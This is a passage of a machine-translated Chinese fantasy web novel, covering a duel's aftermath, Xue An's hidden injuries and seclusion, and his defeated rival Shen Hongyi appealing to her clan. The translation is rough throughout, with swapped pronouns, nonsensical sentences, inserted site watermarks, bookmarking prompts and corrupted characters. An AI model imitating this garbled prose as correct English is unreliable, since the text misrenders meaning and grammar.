    Cha Wenliang, seeing An Yan''s face of determination, knew that persuasion was impossible, not to mention that it was impossible for anyone to keep calm when this kind of thing was replaced.


    Even he was worried inside.


    So he nodded, "Okay! In that case, let''s go together!"


    "I''ll lead the team, UU reading , I know the location of Sijia planet!" Mo Changhong said immediately, who hadn''t said a word for a long time.


    "You too?" Cha Wenliang asked.


    "Of course, I just tried to contact the Lady Empress, but I found that I couldn''t reach it. This shows that something must have happened over there, so I naturally have to go and see!" Mo Changhong said in a deep voice.


    In fact, Mo Changhong tried to contact the Empress several times when he heard Xiao Hulu talking, but all failed.


    This also made her anxious.


    When everyone heard this, their hearts were all sinking.


    If even Mo Changhong had disconnected from the Empress, then the matter would be really serious.


    Without further ado, everyone hurried to the Sijia territory.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2420 One Sword Cuts the Star), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2421： I can only wait, and I can only wait

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    At the same time, in this battlefield, many people have also noticed the abnormality.


    "What''s the matter? How did I disconnect from the outside world?" Someone said in surprise.


    "Yes, I am like this too!"


    "me too!"


    The crowd began to noisy.


    At this moment, the Nine Heavens Profound Girl said solemnly: "Don''t shout, you are disconnected from the outside world because the void of hundreds of thousands of miles has been completely enveloped by the sword intent leaked by the two of them when they were fighting!"


    "Except for the sword intent, there is no other spiritual power in this territory, and even the divine mind is blocked, and the news from the outside world will naturally not come in!"


    Hearing this, many people were shocked.


    "Is it just the leaked sword intent that has sealed off the void of hundreds of thousands of miles? This is so terrifying strength!" Someone muttered absentmindedly.


    Others suddenly asked, "My Lady Empress, when will this battle be over?"


    The Nine Heavens Profound Girl shook her head gently, "I don''t know, because no one can see the situation in the battlefield through this layer of blocked sword intent, and I can''t even notice the difference between the sword intent of the two sides. !"


    "So all we can do now is wait, and we can only wait!"


    People stopped talking.


    Because if even the Lady Empress couldn''t see through this battle, then no one in the room could see through.


    Time passed by, and soon after a day, An Yan and his team finally rushed out of the battlefield eagerly.


    But when they were about to enter the battlefield, they were blocked by an invisible boundary.


    "What is this? Why can''t I get in?" Mo Changhong asked.


    Cha Wenliang stepped forward and pushed gently with his hands, and then there was a look of surprise in his eyes.


    "The void in front has been completely blocked by a huge energy. No wonder you couldn''t get in touch with the female emperor before!"


    "Then what to do?" Mo Changhong said.


    "There is no way, the power of this blockade is extremely powerful, and it is not possible for humans to pass through the past!" Cha Wenliang smiled bitterly.


    "Then wait here? You have to know that Sijia Planet is not far ahead!" Mo Changhong said anxiously.


    Cha Wenliang could only smile wryly.


    At this moment, Ao Shu suddenly got angry, "No matter what the blockade is or not, I just want to go over today, mother!"


    With that, Ao Shu moved his sleeve up.


    "Sister Yan, get out of here with missing them first!"


    "it is good!"


    After everyone got out of a clearing, Ao Shu took a deep breath and shook his arms.


    There was a loud bang in her body, and then she exhaled.


    "Drive me!"


    Boom!


    Accompanied by a dull loud noise, Ao Shu pushed his palms forward, stubbornly reaching above this level.


    But in the next second, Ao Shu was abruptly shaken back dozens of steps.


    "Sister Long!" the two little girls exclaimed.


    "Ao Shu!" An Yan couldn''t help but shouted.


    Ao Shu stood in embarrassment, only feeling that his arms were numb, but the boundaries did not move.


    This could not help but arouse her fierceness hidden in the blood.


    "Brother Xue is inside, you can drive it for me!"


    Following the voice, Ao Shu shook his body abruptly, and the whole person showed his original form.


    A giant dragon appeared in the void, and then she opened her mouth, roared, and rushed towards the boundary again.


    Boom!


    There was another loud noise.


    This time there was a slight ripple in the boundary, but it was only a ripple.


    Then the huge counter-shock force bounced Ao Shu out again.


    An Yan flew behind her as soon as she flashed her body and pushed her hard to stop her.


    Ao Shu was out of breath and regained his human form in desperation.


    Looking at the boundary again, there is still no change at all.


    Ao Shu couldn''t help showing despair now.


    "What the **** is the limit? Why is it so strong?"


    Cha Wenliang sighed, "I said it was useless a long time ago, because if I didn''t guess wrong, the power to block this void comes from Xue An and the people who oppose him."


    The group fell silent.


    Infinite despair and sadness appeared in An Yan''s eyes.


    Obviously, he was already close, and he was on the battlefield with another distance, but it was such a seemingly short distance that blocked everyone like a moat.


    "Could it be that you can only wait here?" Mo Changhong murmured.


    Just when An Yan and his party were blocked from the battlefield and unable to do anything.


    Changes emerge in the battlefield.


    But seeing the planet that was originally divided into two suddenly trembled again.


    Before this planet was cut into two halves by Shen Hongyi''s sword, but because of gravity, the two halves of the planet did not move away, but clung to each other as if they were separated, and even showed signs of re-bonding together.


    This is the self-salvation from the will of the planet''s body.


    Said to be the ontological will, in fact, it has a more widely known name, which is the law of heaven.


    Each planet has its own laws of heaven, strong or weak.


    And the law of heaven on the planet Sijia is obviously very powerful.


    So even if he was hit hard by a sword, he was still working hard to repair it.


    But at this moment, the half-bonded planet suddenly began to tremble.


    Immediately afterwards, the peaks, gravels and everything on this planet began to disintegrate.


    It was as if there was an invisible giant hand crushing all this in the dark.


    In an instant, in a wailing that contained infinite unwillingness, the entire planet was completely disintegrated into fragments.


    That is the sorrow from heaven.


    The whole audience was shocked.


    Many people showed infinite horror on their faces, because they clearly felt that in the sky full of stars, a breath was emerging.


    The Nine Heavens Profound Girl also quaked all over.


    Is the battle finally over?


    Then stared at it.


    At the same time, An Yan and others, who were at a loss before closing the boundaries, suddenly felt the disappearance of the boundaries.


    Now they were naturally ecstatic and rushed here immediately.


    The distance of hundreds of thousands of miles is no more than a tea scene for them.


    And when they arrived here, just among the boundless stars, UU reading showed a figure.


    Everyone held their breath and watched quietly.


    Because everyone understands that whoever can get out of this piece of star gravel is the victor of this war.


    An Yan even lifted her heart to her throat and looked at it intensively.


    The figure became clearer and clearer.


    Suddenly.


    I saw a hand that looked like a sapphire sculpted out of the edge of the sea of ??star gravel.


    There was a commotion in the audience.


    At the same time, the edge of the sea of ??stars and gravels began to shake violently, and then a young man in white clothes walked out of it and came in front of everyone.


    In order to facilitate the next reading, you can click "Favorites" below to record this time (Chapter 2421 Only wait, you can only wait) reading record, next time you open the bookshelf to see!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2422： Situation is terrible

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    After seeing this young man, there was a commotion like a tsunami in the audience.


    "It''s that boy!"


    "Gosh, he actually won?"


    "If you say that, two of the Shen family have already been defeated by this young man!"


    "Unbelievable, really unbelievable, that''s Shen Hongyi, who made thousands of soldiers avoid him! Was he also defeated by this young man?"


    Siming Qi, who had clenched his fists, felt relieved after seeing this scene, and then a faint smile appeared on his face.


    well! It seems that I am betting right!


    But in this exclamation, Jiutian Profound Girl could not see the slightest joy on her face, on the contrary, her eyes were full of worry.


    At the same time, Xue An''s gaze finally fell on An Yan and others after patrolling the audience, and then smiled slightly.


    In an instant, An Yan''s eyes burst into tears, and the two little girls immediately rushed up.


    "Dad! Are you okay!"


    Xue An hugged the two of them in his arms, and said softly: "Dad is okay, haven''t you seen that Dad is fine?"


    The two little girls squeezed Xue An''s shoulders, and then carefully looked at Xue An''s smiling face, and they were relieved.


    Nian-nian couldn''t help but patted her chest and let out a breath.


    "It''s okay, it''s okay, Dad, we were almost scared to death before, and Mom even cried more than once!"


    After thinking about it, he said, "Well, Xiao Hulu must be blamed for her nonsense. You must have had an accident with Dad. That''s why we are so worried!"


    While thinking about it, I glanced at the little gourd in the distance, and that means it depends on how nonsense you are.


    After seeing Xue An, Xiao Hulu flashed a strange light in his eyes. Just when he wanted to speak, Cha Wenliang on the side suddenly said solemnly.


    "Don''t say anything, keep silent for now!"


    Little Gourd''s mouth moved, and finally shrugged indifferently, "Okay!"


    At the same time, Ao Shu and An Yan also rushed to Xue An.


    "Yan''er, I worry you!" Xue An said softly.


    An Yan stared at Xue An deeply, without speaking.


    Ao Shu said very excitedly, "Brother Xue, did you crush the planet behind?"


    Xue An nodded, "Yes!"


    "Wow, Brother Xue, you are so amazing!" Ao Shu said with eyes full of admiration.


    Xue An smiled, then kissed the two little girls in his arms, and said softly: "Hey, you two will play with Shu''er!"


    "Ok!"


    The two little girls obediently followed Ao Shu away.


    Xue Anfang didn''t raise his head until they walked away, his face gradually becoming serious.


    "Yan''er, you need to help me with something!"


    An Yan nodded immediately, "Okay!"


    Xue An took a deep breath, "Next, I will retreat for a period of time. During this period of time, you have to be optimistic about these two little girls!"


    An Yan was startled, and immediately asked: "How long will you be in retreat?"


    "I don''t know the time yet. It may be a month or a year. In short, you don''t have to worry about me too much during this period. Just be optimistic and miss them!"


    Seeing the indifferent smile on Xue An''s face, An Yan suddenly realized something, her expression became very serious, and then solemnly nodded.


    "Okay, I promise you! And no matter how long, I and Miss Miss will wait for you to exit!"


    Xue An smiled freely, "Don''t be so nervous, I just gained something from this battle, so I need to retreat to digest and absorb it!"


    With that, Xue An''s eyebrows suddenly flashed brilliance, and the Fubao Xiaolou, which was originally stored in the Sea of ??Knowledge, flew out and fell into An Yan''s hands.


    "During this time, you can let the two little girls rest in the Fubao Xiaolou, and if there is an emergency, you can also enter it!" Xue An said.


    An Yan gradually clenched her fists and took a deep breath, "Okay!"


    Immediately afterwards, a golden light appeared in the palm of Xue An''s palm, and there was a set of armor rotating in the golden light, but the armor appeared very dim, and it was obviously severely damaged.


    Xue An looked at the little gourd, "Thank you for giving me this armor!"


    The little gourd said indifferently: "No thanks, this is what I swallowed you! I''m just returning to the original owner!"


    Xue An laughed, then stared at the golden light in his hand, and said lightly: "I believe you have seen it, this armor has been seriously damaged!"


    "Of course, I actually didn''t expect anyone to make such a strong armor in such a short period of time!"


    "Is this a compliment?" Xue An asked with a smile.


    "Forget it if you say it, it doesn''t matter to me anyway!"


    After a period of growth, this little gourd''s words have become very proficient, and can even be described as aggressive.


    Xue An stared at the little gourd deeply, and suddenly passed the golden light in his hand.


    "Then then, please fix it again!"


    "Let me try! As for the success or failure, it depends on whether there is a suitable alchemy vessel that can be swallowed!" The little gourd calmly took the golden light in his hand, and then turned and left.


    Only after turning around, she said in a voice that only she could hear.


    "Strange, it stands to reason that this kind of injury should have been dead long ago! It is incredible to be able to survive until now and explain the funeral!"


    Of course, she was the only one who heard these words, and outsiders simply didn''t know.


    The fatigue in Xue An''s eyes was hard to conceal at this time, but he still smiled and said, "Yan''er, go, first take two little girls and Shu''er into the Fubao Xiaolou!"


    An Yan seemed to have a thousand words to say, but when he came into contact with Xue An''s indifferent smile, he swallowed all of them back and turned into a low hmm.


    Then she turned and left, and took the two little girls and Ao Shu into the Fubao Xiaolou.


    Before leaving, the two little girls waved to Xue An very happily.


    "Goodbye Dad!"


    Xue An also smiled and waved, "Goodbye!"


    Guanghua flashed, An Yan and his party disappeared.


    In the next instant, Xue An opened his mouth and spit out a big mouthful of blood, and at the same time all the smiles on his face disappeared and turned into deathly pale.


    This sudden change shocked everyone in the audience.


    Cha Wenliang was the first to rush forward, and UU Read helped Xue An who was crumbling.


    "How?"


    Xue An shook his head lightly, "The situation is terrible!"


    Cha Wenliang''s complexion instantly became extremely solemn.


    Because being able to say the word terrible from Xue An''s mouth clearly shows that his situation has fallen to a certain extent, and it even makes him unnecessary to cover it up.


    At the same time, the Nine Heavens Profound Girl rushed to the front.


    "Are you going to retreat next?"


    Xue An nodded.


    "How about the outcome?" Nine Heavens Profound Girl continued to ask.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (the situation in Chapter 2422 is terrible), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2423： Actually worse

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    Xue An flipped his wrist, and an incomplete odd-shaped long sword appeared in his hand. It was the one that Shen Hongyi relied on to become famous.


    Seeing this scarred long sword, Jiutian Profound Girl''s pupils shrank slightly, "She''s dead?"


    Xue An shook his head, "No, her guardian sword spirit is so powerful that she saved her sword heart at the last moment!"


    Despite this, the heart of the Nine Heavens Profound Girl is still heavy.


    Because she couldn''t imagine how Xue An defeated Shen Hongyi.


    After all, in terms of strength alone, Shen Hongyi is far better than Xue An.


    The only thing Xue An can rely on is the realm far beyond the level of strength.


    But no matter how high the realm is, it can''t be regarded as true strength!


    At this moment, Xue An''s body suddenly heard a soft sound, and immediately blood penetrated Xue An''s front and back.


    Zha Wenliang immediately tore off his front clothes, and then saw a shocking scene.


    However, there are countless cracks crisscrossing Xue An''s body, and these cracks are deep or shallow.


    The deep ones are enough to see the viscera, and the shallow ones can also see the white bones.


    At this moment, these cracks are dripping with blood.


    Cha Wenliang''s scalp was a little numb, he wanted to take action to treat Xue An, but found that there was no way to start.


    Therefore, Xue An at the moment is like a porcelain that was severely broken and then pieced together, unable to withstand a touch.


    Mo Changhong looked stupid too, and couldn''t help muttering: "No wonder he let his wife and children escape, it turns out he was hurt so badly!"


    But despite this, Xue An still didn''t have the slightest pain on his face.


    He took a deep breath, and then said to Jiu Tian Xuan Nu: "Please help me open the storage ring and take out the pill!"


    At this moment, Xue An has no strength to open the storage ring.


    The Nine Heavens Profound Girl immediately opened Xue An''s storage ring with violence, and took out the pill that she had given him from it.


    At this time, Xue An could not even speak, so he could only look at Cha Wenliang with his eyes.


    Cha Wen conscientiously understood, immediately opened the bottle cap, took out the pill from the inside and stuffed it into Xue An''s mouth.


    Because he was afraid that Xue An didn''t even have the ability to digest the pill, Cha Wenliang deliberately pulled out the golden needle and punctured Xue An''s acupuncture points a few times.


    In an instant, the pill entered his abdomen, and Xue An''s face showed a flush, and then he slowly fell to the ground.


    "Two, please protect me!"


    After that, he closed his eyes and entered deep meditation.


    In an instant, a little bit of golden light and sword intent wrapped his body in it.


    Seeing this, Jiu Tian Xuan Nu and Cha Wenliang, who was on the side, looked at each other and nodded at each other, then Nine Sky Xuan Nu took a deep breath and said in a deep voice.


    "Er wait for the order, from now on, with this as the center, a radius of 100,000 li will become a forbidden zone, and those who do not enter are killed! Quickly retreat and guard beyond the limit!"


    With an order, no matter whether they were surprised or sighed, the men brought by the Nine Heavens Profound Girl bowed their heads together.


    "Here!"


    Then they withdrew from beyond the boundaries.


    Compared with the actions of these subordinates, Si Family''s situation at the moment is embarrassing.


    Because of them now, even their own family residence has disappeared.


    So many people subconsciously turned their attention to Siming Qi.


    After all, this Si Mingqi is still the nominal head of the Si family now!


    But seeing this Siming Qi look stiffly at Xue An, who has been shrouded in golden light in the distance, his eyelids can''t help beating.


    He didn''t know that things would change like this.


    I thought Xue An won, but I didn''t expect it would be a tragic victory.


    Looking at this injury, it is estimated that even a little later, even his life will not be saved.


    But this is the end of the matter, and it''s useless to say other things.


    So Siming Qi slowly exhaled and waved his hand.


    "Let''s get out of the boundaries too, let''s just watch the changes!"


    "Yes!"


    In the blink of an eye, the territory of one hundred thousand li was completely emptied, leaving only a few people such as Cha Wenliang and Jiu Tian Xuan Nu.


    "Master Empress, how long do you think it will take him to leave the customs?" Mo Changhong asked softly.


    Cha Wenliang on the side sighed softly, "You should ask him if he can leave the customs!"


    Mo Changhong was shocked, "Is it that serious?"


    "Yes! In fact, the situation is far worse than what you have seen! I can''t imagine how he has survived until now, including Divine Soul, there is no good place in his body anymore!" Cha Wenliang whispered .


    Mo Changhong was shocked.


    The Nine Heavens Profound Girl whispered: "Anyway, we will be here to wait until... he wakes up!"


    At the same moment, in the depths of the distant starry sky, among the planets where the Shen family''s headquarters was located, an altar built under the headquarters of the Shen family suddenly began to tremble and bloomed with brilliance.


    After a while, a brilliant sword on the altar shattered and turned into a bit of brilliance.


    Then these brilliance quickly condensed and turned into a human form.


    Shen Hongyi slowly opened his eyes, and the first thing that caught his eye was the unbelievable Shen Gaoge standing under the altar.


    At this moment, Shen Gaoge no longer had the pride of soaring to the sky before, but looked pale and looked very weak.


    This is also a common problem after the rebirth of the sword soul.


    In fact, Shen Hongyi felt the same at this moment, feeling that although his sword heart was still there, his body was empty, with no sword intent to speak of.


    "Red...Red, you... why are you also defeated by that person?" Shen Gaoge stammered.


    Because he really couldn''t believe that in his own eyes, this omnipotent, even the younger sister of Swordsman who was second only to the second son in the younger generation of the family, would actually be defeated by Xue An.


    And this is not the same as my own failure. This time my sister came here specifically to avenge herself.


    This obviously shows that she is ready for everything.


    It was this way that the sword soul that was still beaten was reborn, which of course made Shen Gaoge dumbfounded.


    Shen Hongyi''s complexion suddenly became extremely gloomy.


    "roll!"


    After all, she rushed down the altar and walked out.


    Shen Gaoge shrank his neck as he was scolded, but didn''t dare to refute, so he had to follow his sister in a slanderous manner.


    Until he walked out of the altar, he couldn''t help asking: "Red, where are you going?"


    "See Patriarch!"


    "Why do you want to see the Patriarch?"


    Shen Hongyi suddenly turned around. UU Reading ''s eyes burned with raging anger, and said one word at a time: "I want the owner to help me through the period of weakness as soon as possible, restore my strength, and then go to the **** to settle accounts. !"


    After that, Shen Hongyi turned and strode away.


    "Don''t follow me, I don''t want to see you now!"


    Shen Gaoge stood aggrieved and mumbled softly after a long time.


    "Do you blame me if you lose? What''s the reason for this?"


    As soon as the voice fell, a wisp of sword light pierced and brushed Shen Gaoge''s ear.


    Then he heard Shen Hongyi''s voice coming from afar.


    "Let me hear you saying bad things about me again, be careful of your ears!"


    In order to facilitate the next reading, you can click "Favorites" below to record this reading (Chapter 2423 is actually worse), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2424： Revisiting the Sword Tower

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    Shen Gaoge trembled with fright, and his face turned pale.


    It was not until a long time later that he swallowed hard and said in a voice that only he could hear.


    "Isn''t it a period of weakness? How can I still manipulate sword intent? And so violent, how can I get married in the future..."


    puff!


    After a flash of sword light flashed, Shen Gaoge''s ears fell in response, splashing patches of blood, which was very beautiful.


    It is still that tall, majestic sword tower!


    It''s just that Shen Hongyi used to fly straight into it, but now that she is in the weakening period of the rebirth of the sword soul, she can only endure the forcing sword force and walk towards the sword tower step by step.


    With every step she took, the anger in her heart grew stronger, and her hatred for Xue An could be even more deeply described.


    If it weren''t for that guy, how could he be like this?


    The key is that she is not satisfied!


    Dissatisfaction from the bottom of my heart!


    Obviously, his cultivation level was far inferior to him except for the realm, but he did not expect that such a person would defeat him in the end.


    This is simply a shame and shame for Shen Hongyi, who has always been arrogant and arrogant.


    It must be that I was too careless to be taken advantage of by that guy!


    Yes, it must be so!


    This time, after I begged the Patriarch or the big shopkeeper to help me through the period of weakness, I would never take it lightly again. I will defeat him completely!


    Let him kneel on the ground and beg me for mercy!


    Shen Hongyi''s heart was secretly ruthless.


    At the same time, she finally arrived before the sword tower.


    There is no guard in front of the door.


    A joke, this is the core of the Shen family. I don��t know how many heaven-defying existences live in it. Unless this person is crazy, who would dare to make trouble here?


    Shen Hongyi stepped forward and wanted to walk inside the building.


    But after several steps, she was finally forced back by the majestic sword intent emitted by this sword tower.


    This couldn''t help making her more angry and couldn''t help shouting.


    "Didn''t you see that it''s grandma and I''m back? Why don''t you open the door soon?"


    With this yelling, but seeing the two big characters hanging above the gate slowly agitated a strange brilliance.


    Immediately afterwards, two illusory figures emerged from it.


    A sword is engraved on one forehead, and a building is engraved on the other forehead.


    That''s right!


    These two silhouettes were changed from the sword building plaque.


    One is the sword and the other is the building.


    Strictly speaking, they should also be considered strange.


    But it is estimated that the whole Tianwaitian is no stranger than the two of them.


    This is because even if the utensils become refined, there must be a specific object, but the two of them are actually refined with simple seal characters.


    This is enough to subvert the imagination of many people.


    But it would not seem so strange if it were placed in the Shen family where the strong came out in large numbers.


    Because this sword building has gone through thousands of years of baptism, I don''t know how many amazing people have lived here.


    The majestic sword intent they left behind has long been integrated with this sword tower.


    And these two big characters are rumored by the sword emperor who founded the Shen family back then, and they imply the principles of kendo.


    After experiencing so much sword intent nourishment, it is not surprising that spiritual intelligence was born.


    This is why the Shen family opened its doors.


    Because of these two guards, anyone with a bad heart will never want to enter.


    It''s just that these two rarely show up, so few people know it.


    At this moment, when they saw Shen Hongyi standing in front of the door, they were all startled.


    Then Jian Zijing asked with a strange face: "Red girl, why are you suddenly rebirth of the sword soul?"


    "Yeah, do you think it''s too boring, so is it reborn to play?"


    Seeing these two naive spirits, Shen Hongyi rolled his eyes.


    "You are playing again, I was forced to be born again!"


    The two monsters of Jianlou looked at each other, and immediately showed a sense of sorrow.


    "Oh, after talking for a long time, it turned out to be defeated!"


    The complexion of the sinking red shirt became even more ugly.


    "Stop talking nonsense, don''t get out of the way quickly, I''m going to see the Patriarch and the big treasurer!"


    "Oh, don''t be so anxious. As the saying goes, if you can''t eat hot tofu if you are anxious, we have to do it step by step!" The sword character said with a grin.


    "Yes, that''s right, our brothers finally showed up, so we will talk more with us!" Lou Zi Jing Wei also said with a smile.


    "Auntie, I don''t have time to pester you now, don''t make me angry!" Shen Hongyi said very rudely.


    But the two spirits didn''t look angry at all. In fact, they didn''t know what anger meant, so they happily stepped aside.


    Shen Hongyi rushed into the sword tower angrily, and went straight to the core elder hall.


    The two spirits watched her back and chattered.


    "The girl in red seems very angry!"


    "It''s probably beaten by someone, so I''m in a bad mood!"


    "But who can beat her all by the way?"


    The two spirits were talking outside, and Shen Hongyi had already broken into the hall of the elders at this time.


    There was no assembly at the moment, so the hall was empty, with only a mysterious high platform standing in it.


    Shen Hongyi suppressed the anger on his face and knelt to the ground respectfully.


    "Disciple Shen Hongyi, please see the Patriarch and the treasurer!"


    The voice echoed throughout the hall.


    Suddenly.


    The high platform shone brightly.


    Immediately afterwards, we saw a series of fuzzy figures beginning to emerge.


    There is an extremely powerful aura in every figure.


    And in the middle of the high platform, after a burst of bright flashes, an old man with an old face appeared.


    After seeing this old man, Shen Hongyi bowed his head deeply again.


    "Disciple Shen Hongyi, I have seen the big shopkeeper!"


    After seeing Shen Hongyi kneeling below, a look of surprise flashed across the face of the big shopkeeper.


    "What''s the matter? Why did you rebirth the soul of the sword?"


    Shen Hong''s face was aggrieved, and he lowered his head and said: "Back to the shopkeeper, when the disciple was avenging his brother, he was accidentally attacked by Xue An. As a result... he was defeated and died. UU read . In desperation, com had no choice but to rebirth the Soul of Sword!"


    As soon as these words came out, the otherwise quiet elders'' hall began to lively.


    An unbelievable exclamation came from among these vague figures.


    "How is it possible? With Xue An''s strength, it is incredible to be able to beat Gao Ge. This time even the red shirt was defeated by him. Could it be that this person is a hidden master?" Someone said in surprise.


    "Yeah, the swordsmanship of the red clothes is obvious to all of us. It can be said that she is the first person in the younger generation of the Shen family now. How did she lose?" Someone regretted.


    Hearing these discussions, Shen Hongyi''s face became more and more ugly, and he kowtowed again.


    "Big treasurer, elders, this defeat was entirely because I underestimated the enemy and was careless, and it turned out that Xue An took advantage of the vacancy."


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2424 Return to the Sword Tower), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2425： 1 move for 1 move

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    "If you give me another chance, I will definitely slash this manpower! So..."


    Shen Hongyi raised his head and looked at the big shopkeeper hopefully, "Red will dare to ask the big shopkeeper to help me, so that I can get through the period of weakness after the rebirth of the sword soul as soon as possible, and then I will find Xue An again and use my hands. The sword washes away the shame this time!"


    Hearing Shen Hongyi''s sincere request, all the eyes of the audience focused on the great treasurer.


    After all, when the Patriarch is away, the chief treasurer''s words are the imperial edict.


    But seeing the big shopkeeper pondered for a moment, then he said in a deep voice: "Let me ask you, what exactly is Xue An''s cultivation base?"


    "The realm is extremely high, but the cultivation base is very poor!"


    "Then why did your siblings lose in his hands back and forth? What is going on, you have to talk about the situation in detail before making a decision!"


    "Yes!"


    Shen Hongyi bowed his head and said yes, then raised his head and said unwillingly: "At that time, I saw that my brother was defeated, and even after Jianxin almost didn''t escape back, I couldn''t help rushing into the crown. I immediately asked you for instructions and set off to find This Xue An takes revenge!"


    "Everything went well at the beginning. As soon as I arrived in the Pharmacist Alliance, I ran into Xue An who was on a mission on a planet, and then we had a big battle!"


    "This person is very strange. The sword intent is extremely high, even a weird sword intent that I have never seen before, but his cultivation is very poor. I didn''t take it too seriously at the beginning, but just a few tricks. Then I knew I was wrong!"


    "This person is definitely not an easy person, and defeating my brother is not a fluke, so we started a desperate fight, and even shattered the planet!"


    Following Shen Hongyi''s narration, the room gradually became quiet, and the elders listened quietly.


    The big treasurer''s eyes flickered even more.


    Because he read a lot of information from Shen Hongyi''s words.


    Combining with the words of Shen Gaoge before, one can draw a conclusion, at least this Xue An''s realm is seriously inconsistent with his true cultivation base.


    But this phenomenon is very strange.


    Because under normal circumstances, people''s realm lags behind their cultivation.


    I have never heard of anyone who has a high realm but very poor strength.


    How should the situation of Xue An be explained?


    The treasurer couldn''t help but fell into contemplation.


    It wasn''t until Shen Hongyi finished speaking that he said solemnly: "What then? Tell me about how you were defeated in his hands, and even the sword soul was reborn?"


    Shen Hongyi heard a humiliating look on his face, lowered his head and said: "According to normal circumstances, it was only a matter of time before I defeated Xue An!"


    "But when the battle was at its most intense, Xue An suddenly used an almost rogue style of play!"


    "Oh?" The shopkeeper raised his eyebrows slightly, "What kind of rogue play?"


    Shen Hongyi took a deep breath, and a complex look appeared in his eyes.


    "He actually started to change my tricks with me!"


    There was a commotion among the elders on the high platform.


    Because they are very clear about what these five words mean.


    It was a style of play that didn''t care about his own life and death, and just wanted to die with his opponent.


    If what Shen Hongyi said is true, then this is really an almost rogue style of play.


    Because this is almost unsolvable.


    Unless you intend to die with the opponent, even if you win, it will be a miserable victory.


    Of course, the premise of this play is based on the fact that the difference in strength between the two sides is not too great.


    If one side is the kendo power and the other side is an ordinary person, then it is impossible even if you want to change one move.


    A hint of contemplation flashed in the eyes of this big shopkeeper, and he said in a deep voice, "And then!"


    "Then I lost!" Shen Hongyi lowered his head, his tone very low.


    The shopkeeper sighed, "If I''m not mistaken, at the beginning of the change, did you think about trying not to let yourself be contaminated with sword intent, and it''s best to easily kill the opponent under the sword?"


    "Yes!"


    "Hehe, you have this idea, so it''s not surprising that you lost. After all, the other party was already holding the mentality of playing with you at the time, but you were still fearful, and your sword intent was of course not his opponent. !"


    Sure enough, she deserves to be the treasurer of the Shen family. His words hit the nail on the head.


    Shen Hongyi''s face showed a sudden look.


    She had been dazzled by anger before, and she hadn''t thought about the reason for her failure at all.


    It wasn''t until she heard the analysis of the big shopkeeper that she realized that she had lost her mentality.


    After all, I was just holding the mentality of revenge for my brother, and was full of contempt for Xue An, who was not as strong as him.


    But Xue An did his best to fight against him, so of course he didn''t lose injustice.


    After clearly realizing this, she couldn''t help taking a deep breath, her expression becoming more serious, and she bowed solemnly.


    "Great shopkeeper, Hong Yi understands, Hong Yi begged the shopkeeper to help me through the period of weakness as soon as possible, and I will prove myself again with the sword!"


    There was a touch of appreciation in the big shopkeeper''s eyes.


    The Shen family''s rules are like this, get up from wherever you fall.


    So he nodded, just about to speak.


    But at this moment, a small sword suddenly flew into the hall, and then flew to the big treasurer lightly and dexterously, and fell into his hand.


    Upon seeing this small sword, the face of the treasurer suddenly became very serious.


    Because this is a small sword used to transmit important information.


    He immediately immersed his mind in it.


    Then the audience calmed down, for fear of disturbing the big treasurer.


    After a while, I just listened to the big treasurer''s whisper.


    Then he raised his head and looked at everyone.


    "It''s a letter from the second son!"


    "Second Young Master?"


    "Great, since the second son has written, it means that he is not far from leaving the pass!"


    People rejoice in it.


    Someone asked: "What did the second son say?"


    The big shopkeeper said: "Second Young Master said in the letter that he already knew about this, and he told me not to intervene. He will meet this Xue An himself for a while after leaving the customs!"


    After hearing this, UU read www. Shen Hongyi, who had already prepared for uukanshu.com, was taken aback.


    "What? The second son is going to do it himself?"


    "Yes! He also said in his letter that Xue An was already sleeping and retreating because of his injuries after the battle with you, so don''t put too much pressure on you, especially don''t act too hastily, wait for him to go out!"


    Shen Hongyi''s mouth moved, and finally lowered his head helplessly.


    Because she knows very well that with the identity and strength of the second son, since he said he would intervene in this matter, no one can touch this matter again.


    It''s the same even for myself.


    Despite her unwillingness in her heart, she finally nodded gently.


    "Yes! Red will follow the order of the second son!"


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2425 One trick for another), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2426： News

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    And when the hustle and bustle in the Shen family ended, news about the two wars finally spread like wildfire, and spread quickly like a hurricane.


    "What? The Shen family lost two sword repairs one after another? How is this possible?" Someone exclaimed.


    Because of the great prestige of Shen Jiajian over the years, the myth of invincibility has long been cast in the minds of many people.


    In their eyes, as long as the Shen family makes a move, it will definitely not fail.


    But now this undefeated myth is shattered, and there are still two consecutive defeats.


    How can this not shock these people.


    "Not only that, it is said that the one who defeated these two people was a young man who had a lot of connections with military strategists. It seems that the Hundred Schools Conference is about to be held, and the great masters are finally unable to restrain their loneliness and start to move around!" Someone exclaimed.


    "Hey, I still don''t believe that someone can rebirth the two sword souls that the Shen family''s dynasty sword repairer fought. This is really incredible!" Someone was surprised.


    ��It��s hard to believe it, because it��s true, but this young man didn��t pay the price without paying the price. Clearance is between two options!" Someone said.


    "This is not surprising. It would be really strange if this person could defeat the two major sword repairmen of the Shen family and still be unharmed at the same time!"


    "I also received a piece of news that even the planet where the Division��s headquarters was stationed had been completely cut into powder. It can be seen that this battle is definitely not a matter of time. This person is probably already disintegrated. The so-called retreat is just a cover. People are already dead!"


    These discussions and the mixed truth and false news almost spread to a small part of the sky.


